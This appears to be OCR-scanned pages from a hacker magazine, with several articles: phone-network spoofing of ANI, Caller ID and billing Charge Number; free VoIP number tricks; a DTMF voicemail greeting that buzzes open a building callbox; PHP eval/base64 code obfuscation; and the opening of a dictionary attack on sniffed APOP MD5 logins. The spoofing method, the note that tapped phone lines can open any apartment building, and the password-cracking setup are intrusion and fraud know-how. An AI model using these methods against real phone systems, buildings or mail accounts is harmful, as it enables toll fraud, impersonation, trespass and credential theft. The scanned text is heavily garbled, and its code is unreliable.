spoof to the 1-800-862-4622 ,  which was p retty 
crazy. 

Thi n k  of it li ke th is .  The systems  a re a lready 
desi g ned to disti n g ui sh  the ANI from the CPN .  
H owever, when you  cross p latfo rms with a fai l as 
the ANI  and set you r  CPN,  then the  receivi ng  sys­
tems don 't see the fai l, o n ly the ten digit n u mber  
that  passed and  that  becomes the " Phantom 
ANI." When you match the ANIFAIL's N PA to the 
CPN ' s  N PA then that becomes  the actua l  ANI .  
Even though  the ca l l  was n ever o rigi nated from 
the n u m ber you chose, the receivi n g  systems  wi ll 
p lace the  CPN i nto the ANI fi elds and a lso the 
Cha rge n u m ber fieLd as weLl .  To test this ,  j ust 
spoof regu la r  Ca ller ID  to 1-800-CALLAn with a 
p rovide r  that passes an ANIFAIL behi nd  you r  CPN 
a nd  you wi ll get the p rompt: "AT&T, ca n I have 
the n u m ber  you ' re calli n g  from,  p lease?" (The ANI 
they received was a fai l . )  Now fi n d  out what you r  
p rovider  i s  passi ng  as t h e  A N I  i n  t h e  A N I  FAIL a n d  
match it. Let's say i t  was 517. Set you r  CPN t o  517-
XXX-1337, ca ll the sa me  n u m ber agai n ,  a n d  you 
won 't get i ntercepted li ke you did befo re .  You ' l l  
get them as though  you had dia led from a regu la r  
PSTN phone .  

Crazy, h u h ?  Somethi ng  to  remem ber when 
spoofi n g ,  it matters who you r  p rovider  uses  fo r 
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thei r  backbone  services a n d  who  the  service 
p rovider  is  that hands  off the ca lls to the te rmi­
nati ng  n u mber. 

When I did the who le test o n  spoofi n g  the  
Cha rge n umber, I made the  cha rges to my h ouse 
phone  so that I wou ld n 't be cha rg ing  up  some 
poor  noob ' s  bi ll. Th i s  wasn 't i ntended to  be  put 
out there fo r people to sta rt cha rgi ng  other peo­
p le 's li nes either. That's j ust p lai n stupid a n d  
gives y o u  b a d  karma. I t  w a s  p u t  o u t  t o  s how how 
it works a nd  the g reat vulnerabi lity goi n g  beyon d  
j ust spoofi ng  Ca ller ! D .  P h rea ki n g  i sn 't getti n g  
free phone  ca lls o r  a n y  o f  that other s hit. It's 
fi nd ing  out h ow somethi ng  works a nd  recreati ng  
it you rself o r  ma ki ng  i t  better o r  more secu re. But 
the  key is  bei n g  i nterested i n  how thi ngs  wo rk. 
Now with the knowledge of fi nd ing  out h ow shit 
works comes the a bi lity to p lace free ca lls a n d  so 
on ,  but those types of deci sions  a re up  to the  in-

by BreakDecks 
So you h ave a p hone. Well I wouLd hope  you 

would .  What do  you do  with it? I talk o n  mine fo r 
u n h ea lthy amounts of ti me. Of cou rse, with this 
ki nd  of p hone  usage, you don 't want to have 
some nOObish setup n ow do  you? I su re wou ld n 't. 
Now that I have begun  with my tradema rk, 
patent-pendi n g  bad i ntroduction ,  I wi ll tell you 
how to change  the way you r  phone  works, 100 
percent lega lly !  

This is  what you wi ll lea rn to do: 
• Use free VoIP services on  the Internet to 

ca ll computer-to-computer and computer-to­
PSTN. 

• Assi gn  U.S. a n d  U.K. la n d  li ne  n u m bers to 
you r  VoIP  accounts fo r use with incomi n g  ca lls via 
PSTN. 

• Make outgoi n g  ca lls with you r  U.S. and U.K. 
n u m bers fo r m ini m a l  rates. 

• Get voicemai l that ca n be accessed on you r  
p hone  o r  on  t h e  Internet. 

• Get missed ca lls on la ndjcell li nes to de liver 
voicemai l to you r  emai l i n box and sti ll be  accessi­
b le from the  phone. 

• Pick  up i n com ing  ca lls from a la ndjcell li n e  
with you r  computer via a b roadband  con n ection .  

• Assign  a U.K. p hone  n u m ber to  a n  exi sti n g  
U.S. cell/la nd  li n e. 

• Make ca lls with you r  home  phone  but get 
them cha rged to you r  cell p hone. 

So let' s get sta rted with the  basics. The main  
thi ng  we wi ll be usi n g  fo r these tricks i s  VoIP. Fo r 

dividua l, n ot the  p h rea k scene. 
So i n  s umma ry this i s  how it goes:  ANI  gener­

ates the  Cha rge N u m ber, Cha rge N u m ber  gener­
ates the  Ca lli n g  Pa rty N u m ber, Cal li n g  Pa rty 
N u m ber generates the  Ca ller !D. You can change  
everythi n g  except fo r the ANI. When you change  
the Cha rge N u m ber  the  system thi n ks it's the  ANI 
but i n  the raw data that  is  bei ng  passed th rough  
SS? it wi ll sti l l  s h ow the ANI as bei n g  a fai l. But 
the receivi ng  switch wou ld have to be i n  debug 
mode for that to even be seen.  

Shouts: www. oldskoolphreak. com. natas, 
dual, www. defaultradio. com. lucky, doug, 
whitesword, royal, icOn, clops, moy slatko dunia­
djuka, cupOspam, majestI c, avl d and licutis, 
notthoery, KRSTN, and most of all decoder. When 
I needed encouragement and support you were 
there and I hope you keep your head up in the 
times of bullshit. Fuck the police. Peace. 

those who  a re unfa mi lia r, VoIP  is "Voice over In­
ternet Protocol," i n  othe r  words, usi n g  you r  com­
puter as a p hone. Anyone  who  has u sed  AIM's o r  
Ya hoo !  Messenger' s  voice chat has u sed  a fo rm of 
VoIP. N ow the re a re many VoIP servi ces out th ere 
such as Vonage o r  Ca ll-Va ntage that cost a regu­
la r (month ly o r  a n n ua l) fee a nd  a utomati ca lly as­
si gn  you a U.S. la n d  li ne  phone n u m ber. Many 
people a re u nawa re that there a re many oth er  
servi ces that ca n give you VoIP with PSTN access 
free of cha rge. These services do  have some re­
stri ctions  but they a lso ca n be very handy if used 
correctly. 

Free World Dia lup  is my persona l  favo rite. It 
offers a free six digit p hone  n u m ber  that ca n o n ly 
be rea ched by other FWD users. You ca n a lso con­
nect to the PSTN n etwo rks worldwide, b ut o n ly to 
toll-free n u mbers. This is usefu l fo r ca lli n g  co llect 
o r  with a ca lli n g  ca rd. If you go overseas, you ca n 
use you r  la ptop a n d  a b roadband  con nection  to 
ca ll back to the  U.S. via toll-free n u m ber  such as 
a ca lli n g  ca rd, and then ca ll you r  fri ends  a n d  
fa mi ly without havi ng  t o  wait i n  long  li nes o r  pay 
excessive fees fo r i nternationa l  ca lls. 

FWD had  a loca l PSTN n u m ber that you cou ld 
ca ll with you r  home  or cell p hone  that cou ld be 
used as a p roxy to the  FWD network. These n um­
bers do  n ot exi st a nymore. (If they do  I wou ld 
love to know about them.) Instead you ca n get a 
free U.S. n u m ber  assigned  to you r  FWD account  
from www.i p ka ll.com. He re, you enter  you r  FWD 
n u m ber  a nd  you get a free n u m ber with a 360 
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a rea code.  This n u m ber wi lL fo rwa rd i n coming  
ca lls to you r  FWD account a n d  it even comes  with 
free voicemai L that n ot o n Ly ca n be checked on 
a ny phone i n  the  U .S .  o r  U . K . ,  b ut forwards new 
messages to you r  emai l  as WAV fi les. You r  emai l  
wi ll d isp Lay the  Length of the  message, when it 
was Left, and the  n u m ber  of the  ca LLer. ( N ote: Ip­
kaLL  works with all VoIP  servi ces, n ot o n Ly FWD . )  

This s ame  servi ce can be very usefu L o n  you r  
ceLL p hone .  Sig n  up  fo r a free IPkaL L  account  but 
give it i nvaLi d  i n formation  (i . e . ,  FWD n u m ber :  
34434423474645413247456 7 ) .  That n u m ber  i s  
too  b ig  a n d  wi LL automati ca lly be  treated as of­
fli n e .  Now ca LL the  voicemai l  n u m ber  for Ipka LL 
( 360 .515. 3033 )  a n d  Logi n with the n u m ber  you 
were assigned  a n d  the fou r  digit password you 
set. You ca n record you r  message that others wi LL 
hear  when they ca LL the n u mber. Give you r  n um­
be r  a test caLL a n d  h e a r  what i t  sounds  li ke. Now 
that you have that set up,  ta ke you r  ceL L  p hone  
a nd  set the  busy, n o  a nswer, a n d  n ot avai Lab le 
forwa rdi ng  from you r  defa u Lt voicemai l to the  
n umber  that  Ipka Ll assi g ned you .  Now when you 
miss a ca LL, the  ca LLer i s  forwa rded to you r  IpkaL L  
n u mber. Because you r  n umber  doesn 't exist, they 
wi lL i m mediateLy be ta ken to voicemaiL .  When 
they leave a message, you can Li sten to it on  you r  
p hone  o r  down load it from you r  ema i l .  A disad­
vantage i s  that you wi LL n o  Lo nger  get graphical  
n otifi cations  about new voicemai L, b ut this ca n 
be fixed if you set up a script to send some of the 
basic data from you r  n otificati o n  emai l to you r  
p hone  as  a text message, fi Lteri n g  o u t  t h e  u n n ec­
essa ry text to save space. This same tri ck ca n be 
used on some La n d  li nes that offer a utomatic fo r­
wa rdi ng  after x n u m ber of ri ngs .  ( N ote: you ca n 
set va Li d  i n formatio n  a nd  a lso use you r  VoIP ac­
count to pick u p  i n coming  ca lls usi n g  you r  broad­
band Internet con necti o n . )  

N o w  let' s say y o u  o r  somebody y o u  know Lives 
in the U . K . N ow you can have a U . K . n u m ber to 
make that situation  more convenient! There is a 
site that wi ll do this fo r you .  www. uk2me. com 
wi LL assi gn  a U . K . 0870  n u m ber  to  a n  existi n g  
U . S .  cell/lan d  Li ne .  ALso, o n  the  rig ht you  wi LL see 
a Li n k  fo r " FWD  0870 Si g n  up . "  This lets you set up 
a U . K . p hone  n u mber  fo r you r  FWD account. Don 't 
use FWD? Get a n  IpkaLL  n u m ber  fo r you r  cu rrent 
VoIP service (if it does n 't a Lready have a U . S .  
p hone  n u m ber) ,  t hen  get a U . K .  n u mber  fo r t he  
360 n u m ber you  were assi gned .  N ow you  can get 
i n com ing  ca lls from the U . K . to any VoIP  service 
you want !  A Lso, this service is n eeded if you want 
to check you r  Ipka LL voicemai l from a U . K . phone .  
You wi ll n eed to  create a U . K .  n u m ber fo r the  
voicemai l  PBX (360 .515.3033 ) . 

Now you have a U . S .  a n d  U . K .  n u m ber  fo r you r  
computer a nd  you  want t o  ma ke outgoi ng  ca LLs 

with you r  n ew 360 n u mber. H ow do you do it? It's 
m uch  easie r  than  you thi n k. ALL you n eed is a 
Ca Ller ID spoofi n g  service !  Sig n  up fo r spooftel, 
ca mophone, etc. a n d  you can ma ke ca lls usi n g  
you r  3 6 0  n um ber !  This i s  g reat if  y o u  want peopLe 
to be ab Le to caLL you back from their  Ca ller ID .  
Also, it ca n p rove to  be  a Lot of fun when used 
with *cough* other people 's n u m bers . . . .  

N o w  t h e  last pa rt dea Ls with pseudo-ca LL-fo r­
wa rdi ng  but n ot VoIP. This ca n be usefu L  to know 
i n  reLati on  to VoIP  techno Logy. If you have a ceLL 
p hone  you can use it fo r Lon g  dista n ce ca Lls wh i le 
you may n ot have a Lon g  distan ce p La n  on you r  
home  p h o n e .  I f  y o u  want t o  ma ke a caLL usi n g  
you r  home  phone  (fo r better con nections, Longer  
conversati on s, etc. )  you ca n easi ly use you r  ceLL 
p hone  m in utes and pay n othi n g  o n  you r  home  
phone .  

Fi rst you  wi LL n eed to  enter t h i s  c ode  i nto you r  
ceLL p hone :  " * 2 1  * ( N N N )  N N N- N N N N#" . ( Rep lace 
the  "Ns" with the  n u m ber you a re ca LLi n g .  The 
a rea code m ust be  i n cluded ! Press "Send" after 
enteri n g . )  Then dial you r  ceLL p hone  n u m ber  from 
you r  home  phone .  You wi ll now con nect to the  
n umber  you entered i n  the  code.  After the  ca L L  i s  
con nected, d ia l  "#21#" ( i f  you do  not do  this, 
a nyone  who ca Lls you r  ceLL p hone  wi LL be con ­
n ected to  the n umber  i n  the  cod e ! ) .  Th i s  is  g reat 
fo r sendi n g  faxes beca use it's rea lly n ot conve­
nient to send a fax with a ceLL p hone .  J ust fax it 
to you r  ceLL a n d  use the n u m ber  of the fax Li n e  i n  
t h e  code.  

This code i s  not the sa me  as  ca LL fo rwa rdi n g .  
Fo rwa rdi ng  a caLL usi n g  the  phone's GUI  usua Lly 
uses a modified fo rm of this code a n d  ca n disab Le 
voicemai l if used . The best part of this featu re i s 
that even though  it uses you r  ceLL p hone  min utes, 
it wi LL d ispLay the n umber  of the phone  you a re 
actua LLy ca lli n g  from on Ca lle r ID .  

This  works  on most No kia ,  LG, Motorola ,  a n d  
Sa msung  phones .  There a re a few modeLs that 
won 't accept the code, but they a re very rare. 

Usefu l Links 
www.freewo rlddia lu p . com  
www. beLLsmi n d . n et 
www. i pka ll .com 
www.spooftel .com 
www.camophone .com 
www.xten . com 
www.si p phone . com 
www.terracall .com 
www. ca llu k .com 
www. u k2me.com 
www.vonage .com 
www.asteri s k .o rg 

Shoutouts to: Cheztir� MasterSheep, Wally, 
Neco Divad, and Killer. 
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lly Acc e s sing 

by dopamine (Aubrey Ellen Shomo) 
I live in one of those apartment bui ldi ngs  that 

has  a ca llbox for entry. You know, one  of those 
systems with a tenant  di rectory that ca lls the 
tenant  a n d  a llows them to let you i n  by p ressi n g  a 
key on thei r  p hone .  My box has  no code for entry 
so the meta lli c  key is the o n ly approved way to 
get i n .  

I a lso misp lace my keys q uite a bit. So I h a d  
this g reat idea .  W h y  n ot h ave m y  voicemai l mes­
sage b uzz me  i n ?  Tha n ks to that si mp le idea ,  I 
lea rned how diffi cu lt it is to fi nd  a voicemai l  sys­
tem that wi ll a ctua lly record DTM F tones.  

Almost a ll voicemai l services a re DTM F con­
trolled and stop recordi n g  o n  a tone .  I have ac­
cess to a coup le of different VoIP services that 
wi ll emai l voice m essages but won 't let me  u p load 
a WAV fi le for my g reeti n g .  Even store pu r­
chasab le an sweri n g  machi n es tend  to n ot let you 
put i n  DTM F. 

I fig u red I h ad  th ree options .  I cou ld write a 
p rogram to a n swer a ca ll a n d  send the correct 
tone usi n g  a modem or SIP. I cou ld fi n d  a n other  
way to trick  the  door  i nto openi ng  ( pi n k  n oise 
and the DTM F tone  from the outside  of the ca ll­
box, maybe? ) .  Or I cou ld fi n d  a way to get DTM F 
i nto my voicemai l message. 

Lucki ly I j ust g ot hooked up  with SkypeIn .  Un ­
li ke other voicemai l systems ,  t h i s  one  lets me  
record a g reeti n g  from my computer. Sti l l n o  up ­
load for WAVs, b u t  at least they don 't stop record­
ing on  DTM F. 

I had  a n other prob lem .  My a rea code has  n o  
SkypeIn n u mbers a n d  I did n 't thi n k  I cou ld get 
my la n d lo rd to program a toll ca ll i nto the box. 
So luti o n :  Cal l  fo rwa rdi ng  o n  busy/no  an swer. 
Plus with my VoIP service, I don 't pay long  dis­
tance for the forwa rd . 

So with that, a ll there was to be done  was to 
get the DTM F tone onto my voicemai l g reeti n g .  I 

tried j ust boxi ng  it by ho ldi n g  a tone  generato r 
u p  to my mic for the fi rst go-ro u nd .  N o  luck. 
Computer microphones a re p retty crappy these 
days. 

The so lution  was a si mp le WAV editor. Most 
sound  cards can use their own wave (software) 
output as a record i n p ut, so I reco rded the tone  
from a softwa re DTM F generator with in  the sou n d  
card, t h e n  added o n  m y  regu la r  message with a 
mic .  With a little editi ng ,  I had  a nice message 
that sounds  to a no rma l  phone  user li ke a tone 
fo llowed by my voicemai l  g reeti n g .  

After creati n g  t h e  WAV fi le, j ust set you r  
record i n put to  you r  WAV out  agai n ,  tell Skype to 
record a greeti n g ,  p lay the WAV fi le, then stop 
the record . Presto . You have a n u m ber you ca n 
ca ll that wi ll generate a p redefi ned sequence of 
DTM F tones a utomatical ly without h uman  inter­
venti o n .  

This trick wou ld work j ust as  well, of cou rse, 
with a p rox ca rd system that lets you buzz people 
i n  as lon g  as you live there a n d  can set the n um­
be r  i t  ca lls, o r  forward from that n u mber. And  it's 
a lot easier to misp lace ( and  n ot h ave d up licates 
of) a p rox ca rd . 

Of course, the same trick  wou ld let you get 
i nto a ny apartment bui ldi ng  where you cou ld ac­
cess the copper for the phone  li nes .  J ust punch  
i n  ca ll fo rwa rdi ng  to  a SkypeIn account  with the  
right  g reeti n g  from one  of the li n es i n  the bu i ld­
ing and buzz you rself in .  You 'd  have to match a 
li ne  with a name ,  b ut that's not too ha rd .  With 
forwa rdi n g  a nd  a DTM F-fri end ly g reeti n g ,  you 
don 't have to have someone stand ing  there i n  the 
phone company box whi le you try to get i n  the 
door  a nd  you don 't have to socia lly engi n eer a ny­
one  i nto just letti n g  you i n .  So it works at un ­
usua l  ti mes when more straightforwa rd 
app roaches wou ld fai l, or at least attract undue  
attenti o n .  
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Obfu�cation and Encoding in PHP 
by Bryan Elliott 

There a a few PH P obfuscators out there :  p ro­
grams  that wi ll ta ke a ll the  u n necessa ry com­
ments, spaces, tabs,  retu rns  out of you r  code, 
then go  fu rther and fi n d  a ll the  fun ctions ,  va ri­
ab les , and classes th at, with i n  the  same scope 
mean the  same  thi ng ,  a nd  change thei r  n ames to 
somethi ng  mean i ng less. 

Indeed, these wou ld ma ke P H P  scri pts very 
h a rd to read .  The resu lt is  often somethi ng  li ke 
what happens  when you compi le then "decom­
pi le" a p rogram i n  C .  The Eng li sh  c lues a re gone 
and you ' re left tryi n g  to fig u re out what i012 
happens to rep resent. 

Sti ll, the code conti n ues to be readab le i n  a 
fo rm .  Run  it th rough  scite's a uto-formatter a nd  
you  ca n a t  least trace what a p rogra m 's  goi n g  to 
do .  It ta kes lo nger  but it's sti ll doab le .  

There a re additi ona l  opti on s  h ere: one  i s  t h at 
you ca n replace a given . p h p  i n clude fi le with a n  
encoded stri n g  that is  processed a n d  eva l'd a s  
the si n g u la r  a cti o n  of the  i n c lude fi le. An exa m­
p le ( remember  t h a t  the  gzi p  extens ion m ust be 
avai la b le) : 
? p h p  eva l ( " ? " . " > " . g z u nc ompre s s ( 

-ba s e 6 4_decode ( * [ dat a ] * » ) ;  ? 

The * [data]* po rtion  s hou ld be the  contents 
of the  p h p  fi le which has  been gzcomp ressed, 
then base64-encoded . An easy way to do  this in 
php i s :  

f u n c t i o n  phpComp re s s  ( $fil e n ame ) { 
$ da t a = ba s e 6 4_encode ( g z c ompre s s ( j o i n  

- ( " " , fi l e  ( $ fi l e n ame ) ) ) ) ; 
$ dat a = " C " . " ? php " . " eval ( \ " ? \ " . \ " > \ " 

- . g z u n c ompre s s ( b a s e 6 4 _decode ( $ data » ) ; ?  
- " . " > " ; 

$dest= fopen ( " obscured- " . $ filename , " w "  ) ; 
fwr i t e ( $ d e s t , $ d a t a ) ; 
f c l o s e  ( $ de s t ) ; 

Even on u n modified PH P code ,  a n  u nscrupu­
lous fe llow wou ld h ave to decode the  data h im­
self (o r, you kn ow, replace "eva l" with "echo", but 
who's counti n g ? ) . Sti ll. the idea is  to make more 
obscure .  

Anyway, th is  next tri ck  was somethi ng  that 
ca me  a bout when attempti n g  to ma ke p ro­
nounceab le passwords i n  PH  P. I fi g u red, "why j ust 
generate ra ndom sylla ba nts when you ca n h ave 

the  password relate to something?" This led me  
to  desi g n  a n  encodi n g  I ca ll p hon ic64. 

Essentia lly it' s base64. It uses the  base64_en­
code bu i lt-i n a lgo rit hm  to get my s ix  b it  strea m .  I 
then  tran s late the base64 en codi ng  i nto n u m bers 
0-6 3 .  From that I pick one  of 16 consonants a n d  
one  o f  fou r  vowels t o  represent the  base64 n um­
ber. 

J ust to switch th ings  u p  a nd  to ensure the  
sound  doesn 't get  repetitive, I h ave values ca lled 
"oc" a n d  "ov" which a re an u n used consonant a n d  
vowel, each o f  which gets swapped with t h e  last­
used value in the substituti on  tab les .  Fo r exa m­
p le,  if  somethi ng  would norma lly decode  to  "gigi" 
and our oc=f and ov=u ,  it c hanges to "gifu". 

As the data i s  encoded ,  spaces, punctuati o n ,  
a n d  even paragraph  b rea ks a re added t o  t h e  
strea m .  

Keep i n  m i n d  that data encoded i n  p honi c64 
i s  far la rger than  it needs to be. Consider that fo r 
every th ree eight  bit bytes you ' re generati n g  fou r  
six bit n u m bers a nd  thus  fou r  p h o n i c  coup les a nd  
eig h t  cha racters. T h i s  i s n 't even i n c ludi ng  the  
punctuati on  a nd  such .  As a n  exa mp le, 
p honic64_encode("test") returns" Neki tuyonia" 
o r  somethi ng  si mi la r. Remem ber, the  spaces a n d  
punctuation  a re ra ndom ,  desi g ned t o  be sacrifi­
cia l  chaff. Someday they' ll be a checksum of a 
so rt. 

Anyway, enough  beati n g  a round  the bus h .  
He re 's t h e  code for Phonic64. 

function phon ic 6 4_encode ( $ s )  
mt_s rand ( microtime ( t rue ) * l O O O O O O ) ; 
$med=b a s e 6 4 encode ( $ s )  ; 
$ c o n s o n a n t s =Array ( r ' ,  ' k ' , ' g ' , ' s ' , 

. ' Z ' , ' t ' I
' d ' , ' n ' , ' h ' , ' b '  f ' p ' , ' m ' I ' y ' , ' r ' 

. ,  ' w ' , ' v ' , ' j ' ) ;  
$ vowe l s =Array ( ' a ' , ' e ' , ' i ' , ' 0 ' ) ; 
$ b 6 4 = " ABCDEFGH I JKLMNOPQRS TUVWX Y Z abcde 

- f g h i j k lmnopqr s tuvwxy z 0 1 2 3 4 5 6 7 8 9 + / " ;  
$ e o s =Array ( , ! ' , ' ?  I , , ! ?  I , ' !  ! ! ' ) ;  
$ s spunct=Array ( " I ,  ' ; I I ' _ ' ) ;  
$ o c = ' f ' ; $ ov= ' u ' ; 
$word= " " ; $wct= 0 ; $ w l n =mt_r and ( 1. , 4 ) ;  
$ s entence= " " ; $ s c t = 0 ; $ s 1 n=mt_rand ( 3 , 1 0 ) ;  
$ paragr aph= " " ; $ pct= O ; $ p l n=mt_ rand ( 1 , 1 0 )  ; 
$ ou t = " " 
f o r  ( $ i = O ; $ ic s t r l e n ( $med ) ;  $ i ++ ) { 

$ c h= s u b s t r ( $med , $ i , 1 ) ;  
$ v = s trpos ( $ b 6 4 , $ c h ) ; 
i f  ( $ v=== f a l s e ) c o n t i nue ; 
$ c o n s =floor ( $ v / 4 ) ;  
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$ vowe l = $ v& 3 ;  
i f  ( ( $ s c t == O ) & & ( $wc t = = O ) )  

$word . = s trtouppe r ( $ c o n s o n a n t s [ $ con s ] ) ;  
} e l s e {  

$word . = $ co n s o n a nt s [ $ c o n s ] ;  
} 
i f  ( ( $ s c t == O ) & & ( $wc t== O ) & & ( $ c o n s o n a n t s [ $ c o n s ] == " ) )  

$word . = s trtouppe r ( $ vowe l s [ $ vowe l ] ) ;  
} e l s e {  

$word . = $ vowe l s [ $ vowe l ] ;  

$wct++ ; 
i f  ( $wct = = $ w l n )  

$ s entence . = " $word " ; 
$word= " " ; $wc t = O ; $wln=mt_rand ( 1 , 4 ) ;  
$ s ct++ ; 
i f  ( $ s c t ! = $ s l n ) { 

i f  ( mt_rand ( O , 9 ) == 5 ) 
$ g=mt_rand ( O , s i z e o f ( $ s spunct ) - l ) ;  
$ s entence . = $ s spunct [ $ g ] ; 

} e l s e  $ s entence . = "  " ;  
} e l s e {  

$paragraph . = $ sentence ; 
$ s entence= " " ; $ s c t = O ; $ s l n=mt_r a nd ( 3 , l O ) ;  
i f  ( mt_rand ( O , 6 ) == 5 ) { 

$ g=mt_rand ( O ,  s i z e o f ( $ e o s ) - l ) ;  
$paragraph . = $ e o s [ $ g ] ; 

} e l s e  $ paragraph . = " . 
$ p c t + + ; 
i f  ( $ pct= = $ p l n ) { 

$ out . = $ p a r a g r ap h ; 
$paragraph= " " ; $ p c t= O ; $ p l n=mt_rand ( l , l O ) ;  
$out . = " \ r \ n  " 

$ t = $ oc ; $ o c = $ c o n s onant [ $ c o n s ] ; $ c o n s onant [ $ c o n s ] = $ t ; 
$ t = $ ov ; $ o v = $ vowe l s [ $ vowe l ] ; $ vowe l s [ $ vowe l ] = $ t ;  

i f  ( $wct ! = O )  { 
$ s entence . = $word ; 
$ s c t + + ; 

} 
i f  ( $ s c t ! = O )  

$ p aragraph . =t r im ( $ sentence ) ;  
i f  ( mt rand ( O , 6 ) == 5 ) { 

$ g=mt_r and ( O ,  s i z e o f ( $ e o s ) - l ) ;  
$ paragraph . = $ e o s [ $ g ] ; 

} e l s e  $par agraph . = " . " ; 
$pct++ ; 

i f  ( $ pct ! = O )  $ o u t . = $ paragraph ; 
return $ ou t ; 

f u n c t i o n  phon i c 6 4  decode ( $ s )  { 
$mid= s t r t o l ower

·(p r e g.rep l ac e ( " I [ \ s \ . \ ! \ ? \ ; \ - \ , \ r \ n l / " , , $ s ) ;  
$ c onsonant s =Array ( , , , . k ' , ' g ' , I S '  1 ' Z ' , ' t I , ' d ' , ' n ' f ' h ' , ' b ' , ' p ' , ' m ' , I y ' , I r ' , I w ' , ' v ' 

) ; 
$ vowe l s =Array ( ' a ' , ' e ' , ' i ' , ' 0 ' ) ; 
$ b 6 4 = " ABC DEFGHI JKLMNOPQRSTUVWXY Z abc d e f g h i j k lmnopq r s t u vwxy z 0 1 2 3 4 5 6 7 8 9 + 1 " ; 
$ o c = ' f ' ; $ ov = ' u ' ; $ s tate = f a l s e ; $ b a s e = " " ; 
f o r  ( $ i = O ; $ i < s t r l e n ( $mid ) ; $ i + + ) { 

$ c h a r = s u b s t r ( $mid , $ i , l ) ;  
switch ( $ s t at e ) { 

c a s e  f a l s e : 
$ s tate=true ; 
$ c o n s = a r r ay_ s e a r c h ( $ c h a r , $ c o n s o na n t s ) ;  
i f  ( ! $ c o n s ) { $ c o n s = O ; $ i - - ; } 
break ; 

c a s e  true : 
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$ s t ate= f a l s e ; 
$ g=array_s earch ( $ char , $vowe l s ) ;  
$ t = $ ov ; $ ov=$ vowe l s [ $ g ] ; $ vow-

e l s [ $ g ] = $ t ;  

$ t = $ o c ; $ oc = $ cons onant [ $ cons ] ; $cons onant 
- [ $ cons ] = $ t ; 

$v=$cons * 4 + $ g ; 
$base . =substr ( $ b6 4 , $v , 1 ) ;  

break ; 

wh i l e  ( s trlen ( $base ) % 4 ! = O )  $bas e . = " = " ; 

return base6 4_decode ( $ bas e ) ; 

function phonic_pa s sword ( $ len ) 
rnt_s rand ( rnicrotirne ( true ) * l O O O O O O ) ;  
$ s eed= " " ; 
for ( $ i = O ; $ i< 3 2 ; $ i+ + ) { 

$ s eed . =chr ( rnt_rand ( O , 2 5 5 ) ) ;  

$ uncpass=phon i c 6 4_encode ( $ seed ) ; 
$rnidp a s s = preg_replace ( " j [ \ s \ . \ ! \ ? \ ; \ - \ 

- , \ r \ n ] j " ,  " " ,  $ uncpas s ) ;  
$finp a s s = s trtolower ( substr ( $rnidpas s ,  0 , $  

- l e n-rnt_rand ( 1 , 3 ) ) ) ;  
wh i l e  ( s trlen ( $finpas s ) < $ l e n ) 

$finpass . =rnt _rand ( 0 , 9 )  ; 

return $finpa s s  i 

That's a ll. I hope  you h ave fun with it. An ex­
ercise for the astute reader :  Get the base-95 i n ­
put/output versio n  o f  the RSA-128 a lgo rith m .  
There's a p retty good o n e  written i n  Javascri pt if  
you fee l  li ke trans lati n g .  Use that i n stead of 
base-64 a n d  m odify the a r rays a n d  n um bers i n  
questi on  t o  use 1 9 (  +oc=z) consonants a n d  five 
vowels .  

Then? Use th i s  " n ea rly-sensi b le gi bberi s h "  to  
pass  messages to  you r  fri ends .  I've used  it to ob­
scure my php code behi n d  a wall  of "Dabi ye ri 
dotiepo .  Da towi ye. "  - li ke thi ngs .  I d u n  no .  Prac­
ti ca l use did n 't rea lly rea r its ug ly head when  I 
thought this up .  I j ust thought, " H ey that's a coo l  
idea . "  Meanwh i le ,  I ca n 't s e e  h o w  you can get 
yourself i n  troub le with this ,  but you know the  
d ri ll. Keep  you r  co llective n oses c lean .  Otherwise 
you ' l l  ma ke the rest of us respectab le-type hack­
ers loo k  bad !  

HOPE NUMBER S IX 
T h e  C o o l e s t  H a c ke r  Eve n t  of  t h e  Yea r 

July 2 1 , 2 2 , 2 3 , 2006 
Hotel Pennsylvania 

New York City 
M o re i n fo o n  h tt p : / /'N'N'N . h o pe . n e t 
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A P O P  e m a i l p oto c o l ­

res po n se M D S c h a l l e n ge 
by Ovid 

If you've ever spent some time  with a packet 
sniffer ( li ke Ethe rea l, fo r examp le) then you 've 
probab ly seen some POP ( Post Office Protocol) 
packets that were nabbed by the  sniffer. POP is a 
very i nsecure p rotocol when exposed to packet 
sniffi n g .  Under  sta nda rd usage the  username  
a nd  password a re s en t  i n  the  clea r. Usua lly a POP 
packet wi ll contai n somethi n g  li ke th is :  

1 LOGIN o v i d  met amorph o s i s  

1 O K  Us er l o gged i n  

In this case "ovi d "  i s  the  username  and " m eta­
morphosis" i s  the password. N ot very secure at 
a ll. 

In an effort to secure passwords, many I5Ps 
use APOP, which stands  for Authenti cated POP. In 
APOP the  server has  stored you r  password, so 
there is no need for the  password to be sent 
across the  net. H ow does the  server authenti cate 
you without you sendi ng  you r  password? U si n g  
M D5 cha llenge/response hashes .  

He re's a n  APO P  a uthentication  from Earth­
li n k 's mai l  server: 

+OK NGPopper vEL_ 6_ 1 0  a t  earth l i n k . n e t  

- ready <1 8 9 5 . 1 22 6 1 0 1 3 9 4 @pop-borzoi . a t l . 

- s a . eart h l ink . n e t >  

APOP o vi d @ e a r th l i nk . n e t  f8dO l f 7 0 9fe922 

- fca 4 62 8 c 1 9 f 4 4 3 5 c 5 9  

+OK ovid h a s  1 mes s a ges ( 9 02 o c t e t s ) .  

You ' l l  n oti ce that the  user doesn 't send h is  
password i n  the  c lea r, but i n stead sends a n  en­
crypted ha sh .  

The server ( NGpopper  i n  t h i s  examp le)  s ends  a 
un ique  cha llenge to the  cli ent. In this case the  
cha llenge i s  "<1895 . 1 2 26101394@pop­
borzoi .atl. sa .earth li n k. n et>" .  The client then ap­
pends the user ' s  password to the  cha llenge ,  
encrypts it with MD5 ,  then sends it to the  server. 
You can see h ow the hash  is a rrived at yourself at 
a * nix termi n a l: 

%md5 tis " < 1 8 9 5 . 1 2 2 6 1 0 1 3 9 4 @pop-borzoi . 

- a t l . sa .. earth l i nk .. n e t>me t amorph o s i s " 

f8dO l f 7 0 9fe922fca 4 62 8c 1 9f4 4 3 5 c 5 9  

There 's the  hash of the  cha llenge concate­
nated with the password "metamo rp h osis " .  

The server, which a lready has  the  user' s  pass­
word, then does the  same thi ng  and verifi es that 
the  two hashes match . Pretty neat, but n ot rea lly 
that secure, especia lly if the  password is a word 
found  i n  the  d icti ona ry. 

In the  examp le above, Ethe rea l has  managed 
to get both the  cha llenge and the  response .  50 
a ll we need to do  i s  run a dicti ona ry attack with 
the cha llenge  added to the front of the text. 

He re 's a rough  bash scri pt ca lled ApopCrack 
which ta kes th ree a rguments :  a wordlist fi le, the 
cha llenge  sent by the  server, and the  hash  sent 
by the  cli ent. It then runs th rough  al l  the  words, 
